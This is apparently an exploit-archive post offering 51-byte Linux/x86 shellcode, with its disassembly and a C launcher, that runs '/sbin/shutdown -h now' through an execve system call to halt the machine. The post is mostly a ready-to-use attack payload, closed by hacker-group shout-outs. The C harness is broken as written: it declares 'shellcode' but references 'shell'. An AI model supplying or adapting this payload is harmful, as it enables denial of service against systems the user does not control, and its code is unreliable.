|
# Title : Backbox Linux/x86 shutdown shellcode 51 byte ( lunix )
# Author : TrOoN
# E-mail : www.facebook.com/fysl.fyslm
# Home : city 617 logt Draria algeria
# Web Site : www.1337day.com
# Facebook : https://www.facebook.com/fysl.fyslm
# platform : back box lunix os
# Type : Shellcode [ assmb]
# Tested on : bacbox ENG 32 Bit
# download link : www.backbox.org
###
~~~~~~~~~~~~ SPICIAL to Ked Ans ~~~~~~~
// this is assmb
* 08048060 <_start>:
* 8048060: 6a 0b push $0xb
* 8048062: 58 pop %eax
* 8048063: 99 cltd
* 8048064: 52 push %edx
* 8048065: 6a 77 push $0x77
* 8048067: 66 68 6e 6f pushw $0x6f6e
* 804806b: 89 e6 mov %esp,%esi
* 804806d: 52 push %edx
* 804806e: 66 68 2d 68 pushw $0x682d
* 8048072: 89 e1 mov %esp,%ecx
* 8048074: 52 push %edx
* 8048075: 68 64 6f 77 6e push $0x6e776f64
* 804807a: 68 73 68 75 74 push $0x74756873
* 804807f: 68 69 6e 2f 2f push $0x2f2f6e69
* 8048084: 68 2f 2f 73 62 push $0x62732f2f
* 8048089: 89 e3 mov %esp,%ebx
* 804808b: 52 push %edx
* 804808c: 56 push %esi
* 804808d: 51 push %ecx
* 804808e: 53 push %ebx
* 804808f: 89 e1 mov %esp,%ecx
* 8048091: cd 80 int $0x80
*
*/
// delete this ok !! ///
main()
{
char shellcode[] = "\x6a\x0b\x58\x99\x52\x6a\x77\x66"
"\x68\x6e\x6f\x89\xe6\x52\x66\x68"
"\x2d\x68\x89\xe1\x52\x68\x64\x6f"
"\x77\x6e\x68\x73\x68\x75\x74\x68"
"\x69\x6e\x2f\x2f\x68\x2f\x2f\x73"
"\x62\x89\xe3\x52\x56\x51\x53\x89"
"\xe1\xcd\x80";
printf("Length: %d\n",strlen(shell));
(*(void(*)()) shell)();
}
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/**/**/*//*/*/*/*/*/* Ked Ans - TroOn - all facebook frind*-*-*--*-*-*
:::::::::::::::::::::::: ALGERIAN HAxoAR ::::::::::::::::::::::::::::::::::::::::::::::
|